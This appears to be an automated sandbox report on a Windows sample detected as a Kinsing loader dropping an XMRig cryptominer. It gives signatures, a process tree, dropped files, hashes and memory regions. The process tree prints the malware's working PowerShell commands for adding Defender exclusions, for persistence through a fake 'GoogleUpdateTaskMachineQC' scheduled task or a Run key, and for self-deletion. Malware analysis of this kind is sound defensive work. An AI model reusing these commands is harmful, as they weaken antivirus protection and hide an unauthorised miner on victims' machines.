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240125-vfcyksbhgr10

24/01/2024, 17:15

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240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1801s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3428
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1048
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3024
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:6052
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4648
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:4892
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4136
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4244
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:5024
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1968
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:2340
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:5064
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4384
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1232

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 324KB
                • SHA256 4ac07091c954c59095833155f10cf16f4c0c255b2724391ed600f6fd02163d11
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.3MB
                • SHA256 363f201f160014db10b627cc2c1a6170888589c27914867e05b8a47820db389b
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 32fef7d0dd7c43bd3440fca325e363d04b667c385d13d4dd44528f35b0167bed
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_bhkpcmwe.npf.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bhkpcmwe.npf.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1048-34-0x00007FF7CB6D0000-0x00007FF7CB8E1000-memory.dmp

                memory/1048-0-0x00007FF7CB6D0000-0x00007FF7CB8E1000-memory.dmp

                memory/1232-116-0x00007FF686400000-0x00007FF686611000-memory.dmp

                memory/1232-50-0x00007FF686400000-0x00007FF686611000-memory.dmp

                memory/3024-32-0x00007FFA0E210000-0x00007FFA0ECD1000-memory.dmp

                memory/3024-30-0x0000017444D40000-0x0000017444D50000-memory.dmp

                memory/3024-19-0x0000017444D40000-0x0000017444D50000-memory.dmp

                memory/3024-18-0x00007FFA0E210000-0x00007FFA0ECD1000-memory.dmp

                memory/4136-61-0x0000020D5A630000-0x0000020D5A640000-memory.dmp

                memory/4136-80-0x0000020D73BE0000-0x0000020D73BEA000-memory.dmp

                memory/4136-72-0x0000020D5A630000-0x0000020D5A640000-memory.dmp

                memory/4136-71-0x0000020D73970000-0x0000020D7398C000-memory.dmp

                memory/4136-74-0x0000020D73960000-0x0000020D7396A000-memory.dmp

                memory/4136-75-0x0000020D73BB0000-0x0000020D73BCC000-memory.dmp

                memory/4136-76-0x0000020D73B90000-0x0000020D73B9A000-memory.dmp

                memory/4136-77-0x0000020D73BF0000-0x0000020D73C0A000-memory.dmp

                memory/4136-78-0x0000020D73BA0000-0x0000020D73BA8000-memory.dmp

                memory/4136-73-0x0000020D73990000-0x0000020D73A45000-memory.dmp

                memory/4136-79-0x0000020D73BD0000-0x0000020D73BD6000-memory.dmp

                memory/4136-81-0x0000020D5A630000-0x0000020D5A640000-memory.dmp

                memory/4136-84-0x00007FFA0E160000-0x00007FFA0EC21000-memory.dmp

                memory/4136-60-0x00007FFA0E160000-0x00007FFA0EC21000-memory.dmp

                memory/4244-97-0x000002046A430000-0x000002046A440000-memory.dmp

                memory/4244-96-0x00007FFA0E160000-0x00007FFA0EC21000-memory.dmp

                memory/4244-110-0x00007FFA0E160000-0x00007FFA0EC21000-memory.dmp

                memory/4244-98-0x000002046A430000-0x000002046A440000-memory.dmp

                memory/4244-108-0x000002046A430000-0x000002046A440000-memory.dmp

                memory/4384-120-0x00000236EF1C0000-0x00000236EF1E0000-memory.dmp

                memory/4384-167-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-183-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-114-0x00000236EE9D0000-0x00000236EE9F0000-memory.dmp

                memory/4384-181-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-179-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-161-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-177-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-122-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-124-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-125-0x00000236EF1E0000-0x00000236EF200000-memory.dmp

                memory/4384-126-0x00000236FF800000-0x00000236FF820000-memory.dmp

                memory/4384-175-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-128-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-129-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-131-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-132-0x00000236EF1E0000-0x00000236EF200000-memory.dmp

                memory/4384-133-0x00000236FF800000-0x00000236FF820000-memory.dmp

                memory/4384-135-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-137-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-139-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-141-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-143-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-145-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-147-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-149-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-151-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-153-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-155-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-157-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-159-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-173-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-163-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-165-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-115-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-169-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4384-171-0x00007FF7A49D0000-0x00007FF7A51C4000-memory.dmp

                memory/4648-45-0x00007FFA0E210000-0x00007FFA0ECD1000-memory.dmp

                memory/4648-46-0x000001BCA3ED0000-0x000001BCA3EE0000-memory.dmp

                memory/4648-49-0x00007FFA0E210000-0x00007FFA0ECD1000-memory.dmp

                memory/5024-127-0x00007FF68CC80000-0x00007FF68CC96000-memory.dmp

                memory/5024-121-0x00007FF68CC80000-0x00007FF68CC96000-memory.dmp

                memory/5360-1-0x000001EAB1C60000-0x000001EAB1C82000-memory.dmp

                memory/5360-11-0x00007FFA0E210000-0x00007FFA0ECD1000-memory.dmp

                memory/5360-13-0x000001EAB1520000-0x000001EAB1530000-memory.dmp

                memory/5360-12-0x000001EAB1520000-0x000001EAB1530000-memory.dmp

                memory/5360-16-0x00007FFA0E210000-0x00007FFA0ECD1000-memory.dmp